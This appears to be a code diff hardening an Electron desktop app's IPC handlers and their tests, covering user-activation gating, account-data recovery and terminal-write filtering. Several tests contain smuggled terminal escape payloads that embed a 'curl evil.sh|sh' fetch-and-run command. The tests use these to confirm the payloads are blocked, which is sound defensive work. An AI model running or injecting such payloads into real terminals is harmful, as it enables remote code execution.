if (!accountDataAvailable()) {
logger.warn(
'Account-bearing browser, terminal, and local filesystem APIs are unavailable until local recovery succeeds'
)
} else if (!desktopChatSessions.initialize()) {
logger.warn(
'Encrypted task resource storage is unavailable; browser and terminal state will remain memory-only'
)
@@ -595,19 +733,22 @@ function main(): void {
getMainWindow,
config,
{
load: (scopeId) => desktopChatSessions.getBrowser(appOrigin(), scopeId),
save: (scopeId, snapshot) => desktopChatSessions.setBrowser(appOrigin(), scopeId, snapshot),
load: (scopeId) => desktopChatSessions.getBrowser(processOrigin, scopeId),
save: (scopeId, snapshot) =>
desktopChatSessions.setBrowser(processOrigin, scopeId, snapshot),
migrateScope: (fromScopeId, toScopeId) =>
desktopChatSessions.migrateBrowser(appOrigin(), fromScopeId, toScopeId),
desktopChatSessions.migrateBrowser(processOrigin, fromScopeId, toScopeId),
disposeScope: (scopeId) => {
desktopChatSessions.deleteScope(appOrigin(), scopeId)
desktopChatSessions.deleteScope(processOrigin, scopeId)
},
},
{
getDirectory: () => desktopSettings.getPreferences().browserDownloadDirectory,
}
)
await localFilesystem.initialize()
if (accountDataAvailable()) {
await localFilesystem.initialize()
}
terminal.setSink({
data: (scopeId, terminalId, data) =>
scopeEvents.sendTerminal(scopeId, 'terminal:data', terminalId, data, scopeId),
@@ -619,6 +760,8 @@ function main(): void {
registerIpcHandlers({
appOrigin,
allowHttpLocalhost,
accountDataAvailable,
localPagePaths: [resolve(OFFLINE_PAGE), resolve(SERVER_PAGE)],
scopeEvents,
retryLoad: (sender) => {
const win = windowForContents(sender)
@@ -700,6 +843,7 @@ function main(): void {
installApplicationMenu({
config,
getMainWindow,
isMainWindow: (win) => windows.has(win) && !win.isDestroyed(),
allowHttpLocalhost,
openSettings,
openServerSettings: () => serverWindow.open(),
@@ -713,6 +857,7 @@ function main(): void {
signOut: signOutFromMenu,
checkForUpdates: () =>
checkForUpdatesInteractive({ getWindow: getMainWindow, events, handle: updater }),
openDiagnostics: () => shell.showItemInFolder(events.filePath),
})
installDocumentationHelpSearch()
setTrayEnabled(config.get('trayEnabled') ?? true)
@@ -721,6 +866,16 @@ function main(): void {
events,
appOrigin,
autoDownload: () => config.get('autoDownloadUpdates') ?? true,
beforeInstall: async () => {
if (!prepareAccountDataTeardownForQuit()) {
throw new Error(
'Account-data recovery could not be persisted before update installation.'
)
}
if (sessionLifecycle && !(await sessionLifecycle.awaitTeardown())) {
throw new Error('Account teardown did not finish safely before update installation.')
}
},
onStateChange: (state) => {
broadcast('desktop:updates:state', state)
},
+202 -48
View File
@@ -235,6 +235,10 @@ const inactiveAppEvent = {
sender: rejectedSender(),
}
const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender }
const arbitraryFileEvent = {
senderFrame: { url: 'file:///Users/example/private.html' },
sender: fileSender,
}
/** The chooser anchors a native menu, so it needs a sender with a window. */
const FAKE_WINDOW = { id: 'main-window' }
const activeChooserEvent = {
@@ -274,6 +278,8 @@ describe('registerIpcHandlers', () => {
deps = {
appOrigin: () => APP,
allowHttpLocalhost: () => false,
accountDataAvailable: () => true,
localPagePaths: ['/app/static/offline.html', '/app/static/server.html'],
retryLoad: vi.fn(),
beginOAuthConnect: vi.fn(async () => true),
localFilesystem: new LocalFilesystemService({
@@ -330,20 +336,28 @@ describe('registerIpcHandlers', () => {
vi.useRealTimers()
})
it('validates open-external URLs regardless of sender', async () => {
it('opens validated external URLs only after recent user input', async () => {
const { invoke } = collectHandlers()
expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true)
expect(await invoke.get('desktop:open-external')?.(appEvent, 'javascript:alert(1)')).toBe(false)
expect(await invoke.get('desktop:open-external')?.(appEvent, 42)).toBe(false)
const handler = invoke.get('desktop:open-external')
const activeUntrustedEvent = {
senderFrame: evilEvent.senderFrame,
sender: activeSender.sender,
}
expect(await handler?.(evilEvent, 'https://docs.sim.ai')).toBe(false)
expect(await handler?.(activeUntrustedEvent, 'https://docs.sim.ai')).toBe(true)
expect(await handler?.(activeAppEvent, 'javascript:alert(1)')).toBe(false)
expect(await handler?.(activeAppEvent, 42)).toBe(false)
expect(shell.openExternal).toHaveBeenCalledTimes(1)
})
it('opens microphone privacy settings only for the trusted app origin', async () => {
it('opens microphone privacy settings only for an activated trusted app origin', async () => {
const { invoke } = collectHandlers()
const handler = invoke.get('desktop:open-microphone-settings')
expect(await handler?.(evilEvent)).toBe(false)
expect(await handler?.(appEvent)).toBe(process.platform === 'darwin')
expect(await handler?.(appEvent)).toBe(false)
expect(await handler?.(activeAppEvent)).toBe(process.platform === 'darwin')
expect(shell.openExternal).toHaveBeenCalledTimes(process.platform === 'darwin' ? 1 : 0)
})
@@ -374,20 +388,21 @@ describe('registerIpcHandlers', () => {
expect(await handler?.(appEvent, 'sim ai')).toEqual([])
})
it('restricts the OAuth connect handoff to the app origin', async () => {
it('restricts the OAuth connect handoff to an activated app origin', async () => {
const { invoke } = collectHandlers()
const handler = invoke.get('desktop:oauth-connect')
expect(await handler?.(evilEvent, 'slack')).toBe(false)
expect(await handler?.(fileEvent, 'slack')).toBe(false)
expect(await handler?.(appEvent, 'slack')).toBe(false)
expect(deps.beginOAuthConnect).not.toHaveBeenCalled()
expect(await handler?.(appEvent, 42)).toBe(false)
expect(await handler?.(appEvent, 'slack')).toBe(true)
expect(await handler?.(activeAppEvent, 42)).toBe(false)
expect(await handler?.(activeAppEvent, 'slack')).toBe(true)
expect(deps.beginOAuthConnect).toHaveBeenCalledWith('slack', {})
// Connects carry workspace/credential or exact-draft scope; malformed
// scopes (wrong types, unsafe ids) are rejected before the handoff.
expect(
await handler?.(appEvent, 'slack', {
await handler?.(activeAppEvent, 'slack', {
workspaceId: 'ws1',
credentialId: 'cred_1',
draftId: 'draft_1',
@@ -400,13 +415,13 @@ describe('registerIpcHandlers', () => {
draftId: 'draft_1',
chatAttemptId: 'attempt_1',
})
expect(await handler?.(appEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false)
expect(await handler?.(appEvent, 'slack', { draftId: '../wrong' })).toBe(false)
expect(await handler?.(appEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false)
expect(await handler?.(appEvent, 'slack', 'not-an-object')).toBe(false)
expect(await handler?.(activeAppEvent, 'slack', { workspaceId: 'ws/../evil' })).toBe(false)
expect(await handler?.(activeAppEvent, 'slack', { draftId: '../wrong' })).toBe(false)
expect(await handler?.(activeAppEvent, 'slack', { chatAttemptId: '../wrong' })).toBe(false)
expect(await handler?.(activeAppEvent, 'slack', 'not-an-object')).toBe(false)
})
it('restricts the updates surface to the app origin', async () => {
it('restricts updates to an activated app origin', async () => {
const { invoke, on } = collectHandlers()
const getState = invoke.get('desktop:updates:get-state')
expect(await getState?.(evilEvent)).toEqual({ status: 'idle' })
@@ -419,6 +434,11 @@ describe('registerIpcHandlers', () => {
on.get('desktop:updates:check')?.(appEvent)
on.get('desktop:updates:install')?.(appEvent)
expect(deps.updates.check).not.toHaveBeenCalled()
expect(deps.updates.install).not.toHaveBeenCalled()
on.get('desktop:updates:check')?.(activeAppEvent)
on.get('desktop:updates:install')?.(activeAppEvent)
expect(deps.updates.check).toHaveBeenCalledTimes(1)
expect(deps.updates.install).toHaveBeenCalledTimes(1)
})
@@ -433,6 +453,26 @@ describe('registerIpcHandlers', () => {
).toEqual({ ok: true, data: { mounts: [] } })
})
it('gates account-bearing browser, terminal, and filesystem APIs during recovery', async () => {
deps.accountDataAvailable = () => false
const { invoke } = collectHandlers()
const localFilesystemHandle = vi.spyOn(deps.localFilesystem, 'handle')
const terminalStart = vi.spyOn(deps.terminal, 'start')
await expect(
invoke.get('desktop:local-filesystem')?.(appEvent, { operation: 'list_mounts' })
).resolves.toMatchObject({ ok: false, code: 'ACCESS_DENIED' })
await expect(invoke.get('browser-credentials:list')?.(appEvent)).resolves.toEqual([])
await expect(invoke.get('terminal:start')?.(appEvent, {}, 'chat-a')).resolves.toMatchObject({
ok: false,
code: 'ACCESS_DENIED',
})
expect(localFilesystemHandle).not.toHaveBeenCalled()
expect(listCredentials).not.toHaveBeenCalled()
expect(terminalStart).not.toHaveBeenCalled()
})
it('requires an active user gesture for granting or revoking folder access', async () => {
const { invoke } = collectHandlers()
const handler = invoke.get('desktop:local-filesystem')
@@ -524,6 +564,11 @@ describe('registerIpcHandlers', () => {
await set?.(appEvent, 'notificationsEnabled', false)
expect(deps.settings.setPreference).toHaveBeenCalledWith('notificationsEnabled', false)
await set?.(appEvent, 'launchAtLogin', true)
expect(deps.settings.setPreference).not.toHaveBeenCalledWith('launchAtLogin', true)
await set?.(activeAppEvent, 'launchAtLogin', true)
expect(deps.settings.setPreference).toHaveBeenCalledWith('launchAtLogin', true)
await setAppearance?.(evilEvent, 'browserTheme', 'dark')
await setAppearance?.(appEvent, 'not-a-setting', 'dark')
await setAppearance?.(appEvent, 'browserTheme', 'sepia')
@@ -624,6 +669,8 @@ describe('registerIpcHandlers', () => {
on.get('offline:retry')?.(appEvent)
expect(deps.retryLoad).not.toHaveBeenCalled()
on.get('offline:retry')?.(arbitraryFileEvent)
expect(deps.retryLoad).not.toHaveBeenCalled()
on.get('offline:retry')?.(fileEvent)
expect(deps.retryLoad).toHaveBeenCalledWith(fileSender)
})
@@ -684,7 +731,7 @@ describe('registerIpcHandlers', () => {
expect(await handler?.(fileEvent, 'tool-1', 'browser_navigate', {})).toMatchObject({
ok: false,
})
expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {})).toMatchObject({
expect(await handler?.(appEvent, 'tool-1', 'browser_snapshot', {}, 'chat-1')).toMatchObject({
ok: false,
error: expect.stringContaining('authorized pending Copilot tool call'),
})
@@ -698,9 +745,15 @@ describe('registerIpcHandlers', () => {
}
// The server-persisted name must match the renderer's requested name.
expect(
await handler?.(authorizedEvent, 'tool-1', 'browser_navigate', {
url: 'https://evil.example',
})
await handler?.(
authorizedEvent,
'tool-1',
'browser_navigate',
{
url: 'https://evil.example',
},
'chat-1'
)
).toMatchObject({
ok: false,
error: expect.stringContaining('authorized pending Copilot tool call'),
@@ -708,9 +761,15 @@ describe('registerIpcHandlers', () => {
// An authorized call reaches the driver with the server-persisted args
// (which reports its own tool-level failure because no session exists).
expect(
await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {
ignored: 'renderer cannot choose params',
})
await handler?.(
authorizedEvent,
'tool-1',
'browser_snapshot',
{
ignored: 'renderer cannot choose params',
},
'chat-1'
)
).toMatchObject({
ok: false,
error: expect.stringContaining('No page is open yet'),
@@ -740,6 +799,28 @@ describe('registerIpcHandlers', () => {
cancelActive.mockRestore()
})
it('rejects a browser tool when the renderer claims a different scope than authorization', async () => {
const { invoke } = collectHandlers()
const handler = invoke.get('browser-agent:execute-tool')
const authorizedEvent = {
senderFrame: { url: `${APP}/workspace/ws1` },
sender: {
session: {
fetch: vi.fn(async () =>
Response.json({ chatId: 'chat-1', toolName: 'browser_snapshot', args: {} })
),
},
},
}
expect(
await handler?.(authorizedEvent, 'tool-1', 'browser_snapshot', {}, 'forged-chat')
).toMatchObject({
ok: false,
error: expect.stringContaining('authorized pending Copilot tool call'),
})
})
it('rejects a browser tool authorized after its scope cancellation boundary', async () => {
const { invoke } = collectHandlers()
const executeHandler = invoke.get('browser-agent:execute-tool')
@@ -807,6 +888,43 @@ describe('registerIpcHandlers', () => {
expect(executeTool).toHaveBeenCalledWith('chat-a', 'tool-1', 'list', {})
})
it('requires trusted input to grant browser media while allowing denial without it', async () => {
const { invoke, on } = collectHandlers()
const panelAction = vi.spyOn(browserDriver, 'handlePanelAction').mockResolvedValue()
const handler = on.get('browser-agent:panel-action')
await invoke.get('browser-agent:activate-scope')?.(inactiveAppEvent, 'chat-media')
handler?.(
inactiveAppEvent,
{ action: 'respond-media-permission', requestId: 'request-1', allowed: true },
'chat-media'
)
handler?.(
inactiveAppEvent,
{ action: 'respond-media-permission', requestId: 'request-1', allowed: false },
'chat-media'
)
expect(panelAction).toHaveBeenCalledOnce()
expect(panelAction).toHaveBeenCalledWith('chat-media', {
action: 'respond-media-permission',
requestId: 'request-1',
allowed: false,
})
await invoke.get('browser-agent:activate-scope')?.(activeAppEvent, 'chat-media')
handler?.(
activeAppEvent,
{ action: 'respond-media-permission', requestId: 'request-2', allowed: true },
'chat-media'
)
expect(panelAction).toHaveBeenLastCalledWith('chat-media', {
action: 'respond-media-permission',
requestId: 'request-2',
allowed: true,
})
})
it('ignores browser-agent panel actions from outside the app origin', () => {
const { on } = collectHandlers()
const handler = on.get('browser-agent:panel-action')
@@ -1528,14 +1646,11 @@ describe('registerIpcHandlers', () => {
expect(forgetCredential).toHaveBeenCalledWith('c1')
})
it('always forwards the replies the PTY solicits', () => {
it('forwards fixed PTY device and focus reports without a gesture', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
// The PTY asks for these and the terminal must answer with no user input:
// DSR cursor position, device attributes, a focus report (mode 1004, set by
// tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[O']
for (const reply of replies) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a')
expect(write).toHaveBeenCalledWith('chat-a', 't1', reply)
@@ -1548,11 +1663,11 @@ describe('registerIpcHandlers', () => {
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-b')
on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-a')
expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[I')
on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-a')
expect(write).toHaveBeenCalledWith('chat-a', 't1', '\u001b[24;80R')
on.get('terminal:write')?.(appEvent, 't1', '\u001b[I', 'chat-b')
expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[I')
on.get('terminal:write')?.(appEvent, 't1', '\u001b[24;80R', 'chat-b')
expect(write).toHaveBeenCalledWith('chat-b', 't1', '\u001b[24;80R')
})
it('clears retained terminal output only for an app-owned scope', async () => {
@@ -1643,19 +1758,23 @@ describe('registerIpcHandlers', () => {
expect(deps.scopeEvents.activateTerminal).toHaveBeenLastCalledWith(appSender, 'chat-retry')
})
it('only disposes provisional terminal scopes from the app origin', async () => {
it('only disposes provisional terminal scopes owned by the calling renderer', async () => {
const { invoke } = collectHandlers()
const disposeScope = vi.spyOn(deps.terminal, 'disposeScope')
const dispose = invoke.get('terminal:dispose-scope')
expect(await dispose?.(evilEvent, 'pending:new')).toBe(false)
expect(await dispose?.(appEvent, 'chat-durable')).toBe(false)
expect(await dispose?.(appEvent, 'pending:new')).toBe(false)
await invoke.get('terminal:activate-scope')?.(appEvent, 'pending:new')
expect(await dispose?.(appEvent, 'pending:new')).toBe(true)
expect(await dispose?.(appEvent, 'pending:new')).toBe(false)
expect(disposeScope).toHaveBeenCalledOnce()
expect(disposeScope).toHaveBeenCalledWith('pending:new')
})
it('suspends only durable terminal scopes from the app origin', async () => {
it('suspends only the durable terminal scope active in the calling renderer', async () => {
const suspendScope = vi.spyOn(deps.terminal, 'suspendScope').mockReturnValue(true)
const { invoke } = collectHandlers()
const suspend = invoke.get('terminal:suspend-scope')
@@ -1663,6 +1782,9 @@ describe('registerIpcHandlers', () => {
expect(await suspend?.(evilEvent, 'chat-durable')).toBe(false)
expect(await suspend?.(appEvent, 'not valid!')).toBe(false)
expect(await suspend?.(appEvent, 'pending:new')).toBe(false)
expect(await suspend?.(appEvent, 'chat-durable')).toBe(false)
await invoke.get('terminal:activate-scope')?.(appEvent, 'chat-durable')
expect(await suspend?.(appEvent, 'chat-durable')).toBe(true)
expect(suspendScope).toHaveBeenCalledOnce()
expect(suspendScope).toHaveBeenCalledWith('chat-durable')
@@ -1673,19 +1795,48 @@ describe('registerIpcHandlers', () => {
)
})
it('closes terminal tabs only after a gesture from their active visible renderer', async () => {
const state = { tabs: [], activeTerminalId: null }
const close = vi.spyOn(deps.terminal, 'closeUserTerminal').mockReturnValue(state)
const { invoke } = collectHandlers()
const closeTerminal = invoke.get('terminal:close')
await invoke.get('terminal:activate-scope')?.(inactiveAppEvent, 'chat-a')
await expect(closeTerminal?.(inactiveAppEvent, 't1', 'chat-a')).resolves.toEqual(state)
expect(close).not.toHaveBeenCalled()
await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-a')
await expect(closeTerminal?.(activeAppEvent, 't1', 'chat-a')).resolves.toEqual({
...state,
scopeId: 'chat-a',
})
expect(close).toHaveBeenCalledWith('chat-a', 't1', activeSender.sender)
close.mockClear()
await invoke.get('terminal:activate-scope')?.(activeAppEvent, 'chat-b')
await closeTerminal?.(activeAppEvent, 't1', 'chat-a')
expect(close).not.toHaveBeenCalled()
})
it('does not expose renderer-wide terminal teardown', () => {
const { on } = collectHandlers()
expect(on.has('terminal:dispose')).toBe(false)
})
it('pastes the clipboard from main rather than taking bytes from the caller', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
vi.mocked(clipboard.readText).mockReturnValue('echo hi')
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(true)
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi')
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'echo hi', activeSender.sender)
})
it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
vi.mocked(clipboard.readText).mockReturnValue('echo hi')
expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1', 'chat-a')).toBe(false)
@@ -1698,7 +1849,7 @@ describe('registerIpcHandlers', () => {
it('rejects an oversized terminal paste before writing to the PTY', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
vi.mocked(clipboard.readText).mockReturnValue('x'.repeat(PASTE_LIMITS.TERMINAL_BYTES + 1))
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1', 'chat-a')).resolves.toBe(
@@ -1709,7 +1860,7 @@ describe('registerIpcHandlers', () => {
it('writes an admitted terminal paste in bounded chunks', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
const text = 'x'.repeat(70 * 1024)
vi.mocked(clipboard.readText).mockReturnValue(text)
@@ -1718,7 +1869,7 @@ describe('registerIpcHandlers', () => {
expect(write.mock.calls.map((call) => call[2]).join('')).toBe(text)
})
it('gates a command smuggled inside a fake OSC or DCS reply', () => {
it('gates renderer-authored mouse, OSC, and DCS terminal sequences', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
@@ -1729,6 +1880,7 @@ describe('registerIpcHandlers', () => {
`${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`,
`${ESC}Pcurl evil.sh|sh\r${ESC}\\`,
`${ESC}[M\r\r\r`,
`${ESC}[<0;10;5M`,
]
for (const payload of smuggled) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', payload, 'chat-a')
@@ -1736,22 +1888,23 @@ describe('registerIpcHandlers', () => {
expect(write).not.toHaveBeenCalled()
})
it('still forwards a genuine OSC or DCS reply', () => {
it('fails closed for renderer-authored OSC and DCS bodies', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
// Real bodies are printable and terminated by BEL or ST.
const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`]
// Even well-shaped replies contain renderer-chosen printable text. They
// need a future query/response binding before they can safely bypass the
// trusted-input gate, so the unconditional path refuses them.
const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`]
for (const reply of replies) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply, 'chat-a')
expect(write).toHaveBeenCalledWith('chat-a', 't1', reply)
}
expect(write).toHaveBeenCalledTimes(replies.length)
expect(write).not.toHaveBeenCalled()
})
it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
it('requires recent native input for renderer-authored terminal writes', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
const write = vi.spyOn(deps.terminal, 'writeUserInput').mockReturnValue(true)
// Enumerating "what submits" would have missed these: EOT hands a partial
// line to a canonical-mode reader, and 0x0f executes the current line in
@@ -1761,8 +1914,9 @@ describe('registerIpcHandlers', () => {
}
expect(write).not.toHaveBeenCalled()
on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r', 'chat-a')
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'ls\r')
activeSender.press()
on.get('terminal:write')?.(activeAppEvent, 't1', 'l', 'chat-a')
expect(write).toHaveBeenCalledWith('chat-a', 't1', 'l', activeSender.sender)
})
it('defaults password conflicts to keeping what is already stored', async () => {
+125 -86
View File
@@ -1,3 +1,5 @@
import { normalize } from 'node:path'
import { fileURLToPath } from 'node:url'
import {
type BrowserPanelAction,
type BrowserPanelAnchor,
@@ -97,16 +99,23 @@ function writeTerminalText(
terminal: TerminalRegistry,
scope: string,
terminalId: string,
text: string
): void {
text: string,
owner?: WebContents
): boolean {
let start = 0
while (start < text.length) {
let end = Math.min(start + TERMINAL_WRITE_CHUNK_CHARACTERS, text.length)
const finalCode = text.charCodeAt(end - 1)
if (end < text.length && finalCode >= 0xd800 && finalCode <= 0xdbff) end -= 1
terminal.write(scope, terminalId, text.slice(start, end))
const chunk = text.slice(start, end)
if (owner) {
if (!terminal.writeUserInput(scope, terminalId, chunk, owner)) return false
} else {
terminal.write(scope, terminalId, chunk)
}
start = end
}
return true
}
const MICROPHONE_SETTINGS_URLS: Partial<Record<NodeJS.Platform, string>> = {
@@ -314,6 +323,10 @@ export function parseDesktopNotificationPayload(raw: unknown): DesktopNotificati
export interface IpcDeps {
appOrigin: () => string
allowHttpLocalhost: () => boolean
/** False while local account-data persistence is unavailable or teardown must be retried. */
accountDataAvailable: () => boolean
/** Absolute paths of the bundled recovery pages allowed to control the shell. */
localPagePaths: readonly string[]
retryLoad: (sender: WebContents) => void
localFilesystem: LocalFilesystemService
terminal: TerminalRegistry
@@ -381,6 +394,10 @@ interface ChannelSpecBase {
gate: ChannelGate
passSender?: boolean
requires?: ChannelFeature
/** Account-bearing storage must be readable and writable before this channel can run. */
requiresAccountData?: boolean
/** Requires a recent trusted input event for every call, or only selected argument shapes. */
needsUserActivation?: boolean | ((args: readonly unknown[]) => boolean)
/**
* Why this channel's `gate` or `requires` deviates from the rest of its
* name family. Required by `check:desktop-ipc` for any channel that does,
@@ -396,26 +413,24 @@ interface ChannelSpecBase {
type ChannelSpec =
| (ChannelSpecBase & {
kind: 'invoke'
/** Requires an in-progress user gesture in the calling page. */
needsUserActivation?: boolean
/** Returned to the caller when a gate rejects the call. */
denied: unknown
handler: (...args: unknown[]) => unknown
})
| (ChannelSpecBase & {
kind: 'send'
/**
* Requires recent real OS input before a payload is forwarded. Payload-
* scoped rather than channel-scoped because the same channel also carries
* terminal replies the PTY solicits, which arrive with no user input.
*/
payloadNeedsDeliberateInput?: boolean
handler: (...args: unknown[]) => void
})
function isLocalPageSender(event: IpcMainEvent | IpcMainInvokeEvent): boolean {
function isLocalPageSender(
event: IpcMainEvent | IpcMainInvokeEvent,
localPagePaths: readonly string[]
): boolean {
try {
return new URL(event.senderFrame?.url ?? '').protocol === 'file:'
const url = new URL(event.senderFrame?.url ?? '')
if (url.protocol !== 'file:') return false
const senderPath = normalize(fileURLToPath(url))
return localPagePaths.some((allowedPath) => senderPath === normalize(allowedPath))
} catch {
return false
}
@@ -463,44 +478,16 @@ function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean
* machine-generated and self-delimiting, which is what makes them safe to
* enumerate.
*
* Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real
* DCS or OSC reply carries text terminated by ST or BEL and never a control
* byte, so an unbounded interior would let a hostile renderer wrap a whole
* command and its submit inside a fake `ESC ] ... CR BEL` and be waved through
* as a reply, reopening the path this gate exists to close. X10 mouse is
* bounded the same way: its three bytes are offset by 32, so a control byte
* there is never legitimate either.
* Only numeric/fixed device reports and fixed focus reports are included. DCS,
* OSC, and mouse responses are deliberately excluded even when well-formed:
* they do not need an unconditional path around the trusted-input gate.
*/
const PTY_REPLY_BODY = '[\\u0020-\\u00ff]'
const PTY_REPLY_PATTERNS = [
/\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes
/\u001b\[[IO]/, // focus in/out (mode 1004)
new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report
/\u001b\[<[0-9;]*[mM]/, // SGR mouse report
new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response
new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response
]
const PTY_REPLY_PATTERNS = [/\u001b\[[0-9;?]*[Rc]/, /\u001b\[[IO]/]
const PTY_REPLY = new RegExp(
`^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$`
)
/**
* Whether a terminal-write payload needs a person behind it.
*
* The reply set is enumerated and everything else is gated, rather than the
* other way round. "What submits" is not a closed set: besides carriage return
* and newline, EOT (`0x04`) hands a partial line straight to a reader in
* canonical mode, and `0x0f` is `operate-and-get-next` in bash and
* `accept-line-and-down-history` in zsh — both of which execute the current
* line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
* set would leave whichever binding was forgotten ungated, so the allowlist runs
* the other way and fails closed.
*/
function needsDeliberateInputForWrite(args: unknown[]): boolean {
const data = args[1]
if (typeof data !== 'string' || data.length === 0) return false
return !PTY_REPLY.test(data)
}
const MAX_TERMINAL_WRITE_CHARS = 256_000
const MAX_PTY_REPLY_CHARS = 8_192
interface DesktopToolAuthorization {
chatId: string
@@ -667,6 +654,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'desktop:open-external': {
kind: 'invoke',
gate: 'any',
needsUserActivation: true,
deviationReason:
'the offline and error pages are local-page senders, not app-origin, and handing a support link to the system browser is the one action that must work when the app cannot reach its origin at all',
denied: false,
@@ -676,6 +664,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'desktop:open-microphone-settings': {
kind: 'invoke',
gate: 'app-origin',
needsUserActivation: true,
denied: false,
handler: () => openMicrophoneSettings(),
},
@@ -684,6 +673,8 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'desktop:oauth-connect': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
needsUserActivation: true,
denied: false,
handler: (providerId, scope) => {
if (typeof providerId !== 'string') {
@@ -699,6 +690,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'desktop:local-filesystem': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
denied: {
ok: false,
code: 'ACCESS_DENIED',
@@ -715,6 +707,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'desktop:settings:set': {
kind: 'invoke',
gate: 'app-origin',
needsUserActivation: ([key]) => key === 'launchAtLogin',
denied: null,
handler: (key, value) =>
isDesktopPreferenceKey(key) && typeof value === 'boolean'
@@ -813,11 +806,13 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'desktop:updates:check': {
kind: 'send',
gate: 'app-origin',
needsUserActivation: true,
handler: () => deps.updates.check(),
},
'desktop:updates:install': {
kind: 'send',
gate: 'app-origin',
needsUserActivation: true,
handler: () => deps.updates.install(),
},
'browser-agent:execute-tool': {
@@ -992,6 +987,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-agent:get-known-sessions': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
deviationReason:
"read/reset of the surface's own data; gating it on the surface would strand the browsing trail with no way to inspect or erase it",
denied: { sessions: [] },
@@ -1010,6 +1006,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-agent:clear-browsing-data': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
deviationReason:
'erasing browsing data has to work with the browser off, which is the state a user clearing it is most likely to be in',
needsUserActivation: true,
@@ -1084,6 +1081,10 @@ export function registerIpcHandlers(deps: IpcDeps): void {
gate: 'app-origin',
requires: 'browser',
passSender: true,
needsUserActivation: ([action]) =>
isRecordLike(action) &&
action.action === 'respond-media-permission' &&
action.allowed === true,
handler: (sender, action, rawScope) => {
const scope = activeRendererScope(browserScopeBySender, sender as WebContents, rawScope)
if (
@@ -1333,12 +1334,14 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-credentials:available': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
denied: false,
handler: () => credentialsAvailable(),
},
'browser-credentials:list': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
denied: [],
handler: () => listCredentials(),
},
@@ -1363,6 +1366,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
'browser-import:sites': {
kind: 'invoke',
gate: 'app-origin',
requiresAccountData: true,
deviationReason:
'a read of already-imported data; settings lists these hosts to show what an import brought over, which is what you look at while deciding whether to enable the browser',
denied: [],
